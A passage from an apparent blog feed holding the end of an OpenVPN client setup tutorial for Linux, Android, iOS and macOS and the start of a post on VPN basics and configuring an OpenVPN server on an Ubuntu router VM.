&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want OpenVPN to run in the background, add the &lt;code&gt;–daemon&lt;/code&gt; switch at the end of the command.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;openvpn –config ~/openvpn/client1.ovpn –daemon
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can check if the OpenVPN established the connection succesfully by listing all active interfaces in your system (commands: &lt;code&gt;ifconfig&lt;/code&gt;, &lt;code&gt;ip list&lt;/code&gt; etc.). If an interface such as &lt;code&gt;tun0&lt;/code&gt;/&lt;code&gt;tunnel0&lt;/code&gt;/etc. is there, it means your VPN connection is up.&lt;/p&gt;
&lt;p&gt;If you want OpenVPN to start automatically with the OS, you can paste above command into a boot script such as &lt;code&gt;/etc/rc.local&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;iv-client-setup-on-android&#34;&gt;IV. Client Setup on Android&lt;/h2&gt;
&lt;p&gt;Before starting, download the client1.ovpn file from point I onto your phone. Place it in a easy to find place such as &lt;code&gt;~/Download&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First, open up Google Play app and search for &lt;code&gt;OpenVPN Connect&lt;/code&gt;. Press INSTALL to download it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/4.bp.blogspot.com/-SNUDppveD5A/WejGbbc-jvI/AAAAAAAABVY/-NHhgEZYURELTf8S8leFMUPrtH_UO2BXgCLcBGAs/s320/and1.png?resize=237%2C320&amp;amp;ssl=1&#34; alt=&#34;android1&#34;&gt;&lt;/p&gt;
&lt;p&gt;Accept the file access request to start the installation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/3.bp.blogspot.com/-edNUK7zyL-0/WejGbYf7KOI/AAAAAAAABVg/k1p5bUXK0DAly4E945s04i3637d5ACxPQCLcBGAs/s1600/and2.png?resize=283%2C230&amp;amp;ssl=1&#34; alt=&#34;android2&#34;&gt;&lt;/p&gt;
&lt;p&gt;Open up the newly installed app. Select the option menu in the upper right corner of your screen and select Import.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/1.bp.blogspot.com/-nlAUH3Laukk/WejGbaQGWYI/AAAAAAAABVc/ClbJW-MbBRsRdv6TepTrSit6zDI2SJR9QCLcBGAs/s320/and3.png?resize=226%2C320&amp;amp;ssl=1&#34; alt=&#34;android3&#34;&gt;&lt;/p&gt;
&lt;p&gt;In the next window, browse for your client1.ovpn file. As we didn’t setup a password on it, you should already be back in the main menu. Press the Connect button.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/2.bp.blogspot.com/-LCJbjfb29XU/WejH616o3jI/AAAAAAAABWA/CIWQdpQoE10t1Xw4qlkycvyNYAheS94mQCLcBGAs/s200/and6.png?resize=200%2C82&amp;amp;ssl=1&#34; alt=&#34;android4&#34;&gt;&lt;/p&gt;
&lt;p&gt;You are probably going to see the following warning. Click Continue on it. The only way to get rid of it is securing the VPN with SSL from Top-Level CA.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/2.bp.blogspot.com/-PxgY7gtbwwY/WejGbloz6dI/AAAAAAAABVk/C9ZrTVeZPKMAa7w9faLe-vKQKmoZ4j74QCLcBGAs/s1600/and4.png?resize=264%2C220&amp;amp;ssl=1&#34; alt=&#34;android5&#34;&gt;&lt;/p&gt;
&lt;p&gt;If you see the following – congratulations – you are connected to the VPN.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i2.wp.com/1.bp.blogspot.com/-RieaoNhHWhw/WejGb0tYBhI/AAAAAAAABVo/vM7lMDDcOlIXct10Fqn-usHVzzO56W07QCLcBGAs/s1600/and5.png?resize=240%2C37&amp;amp;ssl=1&#34; alt=&#34;android6&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;v-client-setup-on-ios-iphoneipad&#34;&gt;V. Client Setup on iOS (iPhone/iPad)&lt;/h2&gt;
&lt;p&gt;Before starting, download the client1.ovpn file from point I onto your iPhone. Place it in a easy to find place such as the &lt;code&gt;Download&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;First, open up your App Store and search for OpenVPN Connect app. Click the Install button to download &amp;amp; install it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/3.bp.blogspot.com/-z46Jan9e0dc/WejJ1Ht18kI/AAAAAAAABWs/Xrtpp0En__4eUminfGiDzURSqWJ6ETzDQCLcBGAs/s320/ios1.jpg?resize=320%2C202&amp;amp;ssl=1&#34; alt=&#34;osx1&#34;&gt;&lt;/p&gt;
&lt;p&gt;Secondly, open up the client1.ovpn file using the built-in file browser. You should see the following warning:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/4.bp.blogspot.com/-2pGv-8sheq4/WejJ1DQQ7qI/AAAAAAAABWk/Xmm4mRYFqgE_7-PtuQUdTEdtfSdlK6lUQCLcBGAs/s320/ios2.jpg?resize=320%2C165&amp;amp;ssl=1&#34; alt=&#34;osx2&#34;&gt;&lt;/p&gt;
&lt;p&gt;At this point, the OpenVPN connection should be established automatically. You can double check it by opening up the OpenVPN Connect app. If you see the green tick, you’re connected!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/1.bp.blogspot.com/-imDW7by0ek4/WejJ1ApU_sI/AAAAAAAABWo/k-8WJicv3GYU-3m3QQZknF9-w-GS_iS6QCLcBGAs/s320/ios3.jpg?resize=320%2C89&amp;amp;ssl=1&#34; alt=&#34;osx3&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;vi-client-setup-on-osx-macbook-mac-etc&#34;&gt;VI. Client Setup on OSX (Macbook, Mac etc.)&lt;/h2&gt;
&lt;p&gt;As easy as it gets, I won’t be going into details as I don’t have a Macbook handy.&lt;/p&gt;
&lt;p&gt;Download and install [TunnelBlick](&lt;a href=&#34;https://tunnelblick.net/&#34;&gt;https://tunnelblick.net/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Transfer the &lt;code&gt;client1.ovpn&lt;/code&gt; file from point &lt;strong&gt;I&lt;/strong&gt; to your machine and place it somewhere safe, i.e. &lt;code&gt;Documents&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;Double click the client1.ovpn file – it should automatically open up the TunelBlick app and connect to the VPN. Done.&lt;/p&gt;
&lt;h2 id=&#34;vii-end-notes&#34;&gt;VII. End Notes&lt;/h2&gt;
&lt;p&gt;Well, that was an easy post to write.&lt;/p&gt;
&lt;p&gt;I hope you found the tutorial easy enough to follow. If you had any issues along the way (especially in the Part I), you can try giving my script from GitHub a go: &lt;a href=&#34;https://github.com/vlku-admin/linux/tree/master/OpenVPN&#34;&gt;OpenVPN Install Script&lt;/a&gt; – It’s basically skipping everything up to point II of this post. After running it you should have a basic OpenVPN server ready in less than 5min, however…&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i1.wp.com/4.bp.blogspot.com/-wyEy3T06dSI/WdptHaq3PXI/AAAAAAAABII/WiGdFVOW1AQlEo9xvQ5pIiFQHuNqPQQswCPcBGAYYCw/s200/shame-on-you.jpeg?resize=200%2C138&amp;amp;ssl=1&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;…for choosing the easy path 😉&lt;/p&gt;
&lt;p&gt;The final part of the OpenVPN setup series should be finished soon.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>OpenVPN Server Setup - Part 1</title>
      <link>/posts/180401-openvpn-server-part-1/</link>
      <pubDate>Sun, 01 Apr 2018 00:00:00 +0000</pubDate>
      
      <guid>/posts/180401-openvpn-server-part-1/</guid>
      <description>We’re all lazy, aren’t we? If you think about it for a second, everything you do is more or less aimed at making your life easier, simpler and less-time consuming. Think about your last project. What were you more concerned about: polishing every little detail or maybe getting some stuff done as soon as possible due to an incoming deadline?
We’ve all been there and we all know that feeling. Even if you try to be perceived as your colleagues and clients as the most hardworking admin around, at the end of the day you, after setting up 20 virtually identical VMs, you’re probably thinking “How could I get this done faster next time?</description>
      <content>&lt;p&gt;We’re all lazy, aren’t we? If you think about it for a second, everything you do is more or less aimed at making your life easier, simpler and less-time consuming. Think about your last project. What were you more concerned about: polishing every little detail or maybe getting some stuff done as soon as possible due to an incoming deadline?&lt;/p&gt;
&lt;p&gt;We’ve all been there and we all know that feeling. Even if you try to be perceived as your colleagues and clients as the most hardworking admin around, at the end of the day you, after setting up 20 virtually identical VMs, you’re probably thinking “How could I get this done faster next time?”, less likely “Have I checked everything on #13 before pushing it into production?”.&lt;/p&gt;
&lt;p&gt;Well, we all do. We all look how to get even a smallest bit of work off our back.&lt;/p&gt;
&lt;p&gt;Do you remember your last trip to commsroom? Don’t you think it would be so much easier to connect to some kind of relay that would transfer the commands you’re typing in on your home laptop to the corporate network back at work? If only such a relay would be possible…&lt;/p&gt;
&lt;p&gt;Wait a second – it is possible. It’s a VPN server we need.&lt;/p&gt;
&lt;p&gt;Before continuing, I highly recommend reading my previous &lt;a href=&#34;https://ssh.guru/setting-up-a-simple-linux-vm-for-internal-routing-within-virtual-environment/&#34;&gt;post&lt;/a&gt; about setting up a vRouter on a Linux VM. The tutorial part of this article is going to be based around similar system.&lt;/p&gt;
&lt;h2 id=&#34;i-virtual-private-network---intro&#34;&gt;I. Virtual Private Network - Intro&lt;/h2&gt;
&lt;p&gt;Our story begins in 1996, when a Microsoft employee developed PPTP (peer-to-peer tunnelling protocol). PPTP alone wasn’t what we would consider a VPN-ish solution by today’s standard – it did not provide any sort of encryption or user authentication whatsoever. Creating a secure network link with PPTP required setting up additional security checks based on either PAP or CHAP protocols.&lt;/p&gt;
&lt;p&gt;However, if we look past PPTP flaws, it was indeed one of the first network protocols capable of transferring data between two or more remote private networks (inter-connected via the internet) as if they were all a part of single LAN. At the time this protocol was revolutionary, letting companies connect all of their internal networks into a single, centralized intranet without investing in extremely expensive dedicated link provided by an ISP.&lt;/p&gt;
&lt;p&gt;As the years went by, PPTP users started to look for more secure alternatives. While end-client security wasn’t a big concern back then (people had waaaay more trust in their AV software at the time), network admins were trying to find a way to secure traffic during the transfer itself (sniffing, man-in-a-middle attacks etc.). Two technologies originating from that period and still being used today are SSL and IPsec&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/3.bp.blogspot.com/-FUSMQCbtJIc/Wdzy0BUyYKI/AAAAAAAABLw/UoYp22gs-9kmT_TjCreAH4MIPDSi8VrhACLcBGAs/s400/openvpntech_logo_rounded_antialiased.png?resize=400%2C72&amp;amp;ssl=1&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;The VPN flavour we are going to look into in this post is OpenVPN – based mostly on SSL/TLS. Because of its custom security protocol born from a mix both of these encryption standards, OpenVPN is considered one of the most secure, if not the most secure VPN software on the market.&lt;/p&gt;
&lt;h2 id=&#34;ii-virtual-private-network---the-basics&#34;&gt;II. Virtual Private Network - The Basics&lt;/h2&gt;
&lt;p&gt;OpenVPN is an open source VPN implementation used mostly for creating secure point-to-point or site-to-site connections. You can see the difference between the two on the diagram below. To simplify the setup, we are going to assume the routers in both network have a VPN server functionality.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i0.wp.com/1.bp.blogspot.com/-iByxuaEWn8I/WdzvT-mxLSI/AAAAAAAABLE/Ic6rt2gjZtAARPyUKQHSSqk0nkz7AGcEgCLcBGAs/s640/VPN%2Btypes.png?resize=640%2C345&amp;amp;ssl=1&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, in a point-to-point (P2P) VPN setup, users connect to the main office – mostly using dedicated clients – through a VPN gateway (office router), while the remote site sends the return data as if it was regular traffic within LAN. The VPN gateway (router) has been configured to “distinguish” traffic sent to the hosts connected directly to LAN and traffic sent to hosts connected to VPN – the latter receive appropriate packet tags before being put through to the Internet. This setup ensures only the selected users can connect to the site from the Internet – a double edged sword to be honest. Network admin doesn’t have to worry about unauthorized users getting access to remote site resources from outside the network, while on the other hand, users who are authorized to do so, need to be trained in VPN client usage (at minimum).&lt;/p&gt;
&lt;p&gt;Site-to-Site (S2S) setup is a little bit more complicated – in this setup, we are connecting two (or more) sites with each other, creating single virtual LAN (not to be confused with vLANs/vNetworks VMware terms). The traffic is getting routed between the gateways directly, meaning the end-users don’t even have to know they are being a part of a VPN. That’s obviously, a huge advantage, but at the same time this requires the network admin to secure restricted resources on a system level.&lt;/p&gt;
&lt;p&gt;In this post we are going to have an in-depth look on both of these situations (and deploy an OpenVPN VM for each), but for the time being the summary above should suffice.&lt;/p&gt;
&lt;h2 id=&#34;iii-virtual-private-network--technical-overview&#34;&gt;III. Virtual Private Network – Technical Overview&lt;/h2&gt;
&lt;p&gt;In a nutshell, VPN connection is established between two or more parties – both connected to the Internet. On top of user authentication, modern VPN setup usually includes a strong end-to-end encryption to avoid data leaks “between” users.&lt;/p&gt;
&lt;p&gt;As mentioned above, OpenVPN is considered the best (or one of the best, depending on who you ask) VPN software available. It’s main advantage over IPsec-based solutions is its security (SSL/TLS mix) and flexibility – while IPsec uses specialized ports &amp;amp; network protocols, OpenVPN relies only on common UDP/TCP ports. This is highly desirable with restrictive ISPs or countries disallowing the use VPNs, as while IPsec can be easily disabled without disturbing regular online activity, doing same with OpenVPN would be highly difficult if not impossible.&lt;/p&gt;
&lt;p&gt;The most basic OpenVPN setup between a client (remote) and a server (local) requires the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First and foremost, Internet access on both sides of the VPN link&lt;/li&gt;
&lt;li&gt;Individual (not shared between multiple sites, i.e. NATed) public IP or DDNS address on WAN-facing router interface in the local network&lt;/li&gt;
&lt;li&gt;Router with OpenVPN support or dedicated machine for VPN (VPN server) in the local network&lt;/li&gt;
&lt;li&gt;S2S only: Public IP (again, not NATed) or DDNS address on WAN-facing router interface in the remote network&lt;/li&gt;
&lt;li&gt;S2S only: OpenVPN-enabled router in the remote network or a dedicated machine for VPN (server)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some advanced features we could implement are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Certificate/secret key authentication for P2P remote users&lt;/li&gt;
&lt;li&gt;SSL authentication between the sites in S2S setup based on CA-level certificate (“HTTPS” certificate bought from ISP or provider such as GoDaddy, Let’s Encrypt etc.)&lt;/li&gt;
&lt;li&gt;Secure VPN portal for easier rollout for new P2P remote users&lt;/li&gt;
&lt;li&gt;Service over VPN (DNS, Active Directory, SMB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the following tutorial we are going to look into the “basic” P2P OpenVPN setup. Advanced features and S2S are going to be described in another post (coming soon).&lt;/p&gt;
&lt;h2 id=&#34;iv-setting-up-openvpn-server-on-linux-vrouter&#34;&gt;IV. Setting up OpenVPN server on Linux vRouter&lt;/h2&gt;
&lt;h3 id=&#34;1-preparation&#34;&gt;1. Preparation&lt;/h3&gt;
&lt;p&gt;Before starting the actual setup of an OpenVPN server in our network, we need to plan things out a little bit. First major thing to consider is networking. Frankly speaking, VPN is just another network which your users are going to access. This means we need to plan how big we need it to be as well as where to “include” it in the subnet environment.&lt;/p&gt;
&lt;p&gt;Let’s say your local network in the office is operating on the most common B-level private subnet 172.18.x.0/24. In this case, it is recommended to setup the VPN on A-level 10.x.x.0 subnet or different 172.18.x.0 network. What you need to avoid is having your clients connect to the VPN from the same subnet as the one used in either your local network or VPN. Keep in mind you can safely assume most of the users are going to use their VPN clients from either home LAN or services such as open WiFi hotspots, which are probably based on 192.168.x.0/24.&lt;/p&gt;
&lt;h3 id=&#34;2-installation&#34;&gt;2. Installation&lt;/h3&gt;
&lt;p&gt;Firstly, let’s update our system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get update
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get upgrade
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, we’ll need to download the OpenVPN &amp;amp; Easy-RSA (encryption):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt-get install openvpn easy-rsa
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that’s it – we have our base services installed. Now it’s time to configure them.&lt;/p&gt;
&lt;h3 id=&#34;3-configuration&#34;&gt;3. Configuration&lt;/h3&gt;
&lt;h4 id=&#34;31-serverconf&#34;&gt;3.1. Server.conf&lt;/h4&gt;
&lt;p&gt;We are going to use the sample OpenVPN configuration file as template. We can get it extracted to &lt;code&gt;/etc/openvpn/server.conf&lt;/code&gt; by running the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz &amp;gt; /etc/openvpn/server.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open it up with nano or other text editor of your choice:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nano /etc/openvpn/server.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For a basic OpenVPN setup, we need to do the following changes:&lt;/p&gt;
&lt;p&gt;a) double RSA key length for stronger encryption – replace
&lt;code&gt;dh dh1024.pem&lt;/code&gt; with &lt;code&gt;dh dh2048.pem&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Substitute 2048 for 1024 if you are using&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# 2048 bit keys.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dh dh2048.pem
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;b) enable traffic redirection so the server passes clients web traffic to correct destination by uncommenting &lt;code&gt;;push “redirect-gateway def1 bypass-dhcp”&lt;/code&gt; (remove &lt;code&gt;;&lt;/code&gt; character)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# (The OpenVPN server machine may need to NAT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# or bridge the TUN/TAP interface to the internet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# in order for this to work properly).&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push “redirect-gateway def1 bypass-dhcp”
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;c) push OpenDNS servers’ IP addresses as DNS settings for clients (to prevent leaks outside DNS connection) by uncommenting &lt;code&gt;;push “dhcp-option DNS 208.67.222.222”&lt;/code&gt; and &lt;code&gt;;push “dhcp-option DNS 208.67.222.220”&lt;/code&gt; (again, remove the &lt;code&gt;;&lt;/code&gt; character)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Certain Windows-specific network settings&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# can be pushed to clients, such as DNS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# or WINS server addresses. CAVEAT:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# http://openvpn.net/faq.html#dhcpcaveats&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# The addresses below refer to the public&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# DNS servers provided by opendns.com.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push “dhcp-option DNS 208.67.222.222”
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;push “dhcp-option DNS 208.67.220.220”
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;d) set OpenVPN to run as unprivileged user by uncommenting &lt;code&gt;user nobody&lt;/code&gt; and &lt;code&gt;group nogroup&lt;/code&gt; (OpenVPN server runs by default as root – we don’t need that)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# You can uncomment this out on&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# non-Windows systems.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user nobody
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;group nogroup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;e) enable TLS authentication by uncommenting &lt;code&gt;;tls-auth&lt;/code&gt; and &lt;code&gt;;key-direction 0&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tls-auth ta.key &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;key-direction &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;f) select AES128 CBC cipher by uncommenting &lt;code&gt;;cipher AES-128-CBS&lt;/code&gt; and adding &lt;code&gt;auth SHA256&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cipher AES-128-CBC
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;auth SHA256
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save your changes and exit the editor (if using nano – &lt;code&gt;CTRL+X&lt;/code&gt; and double &lt;code&gt;y&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;The next step is not needed if you’re using the vRouter VM from my previous post (skip to 3.3).&lt;/p&gt;
&lt;h4 id=&#34;32-port-forwarding&#34;&gt;3.2. Port Forwarding&lt;/h4&gt;
&lt;p&gt;As VPN is based on forwarding packets from clients to the server (and vice-versa), we need to make sure our OpenVPN VM has that option enabled in the system. You can check that by running:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat /proc/sys/net/ipv4/ip_forward
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Getting &lt;code&gt;1&lt;/code&gt; as a result means the IP forwarding is enabled, while &lt;code&gt;0&lt;/code&gt; indicates it’s disabled. In case the later is true, run the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;echo &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &amp;gt; /proc/sys/net/ipv4/ip_forward
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Alternatively, edit &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; and and uncomment the line &lt;code&gt;#net.ipv4.ip_forward=1&lt;/code&gt; (remove &lt;code&gt;#&lt;/code&gt;) to make the change permanent.&lt;/p&gt;
&lt;h4 id=&#34;33-firewall--opening-ports-required-by-openvpn&#34;&gt;3.3. Firewall – opening ports required by OpenVPN&lt;/h4&gt;
&lt;p&gt;a) Advanced setup – applicable if your VM have IPtables configured with &lt;code&gt;/etc/iptables.rules&lt;/code&gt; backup file (just like the one in this &lt;a href=&#34;https://ssh.guru/setting-up-a-simple-linux-vm-for-internal-routing-within-virtual-environment/&#34;&gt;post&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Open up IPtables backup file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/iptables.rules
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add the following line to the filter (replace eth0 with your LAN-facing interface name):&lt;/p&gt;
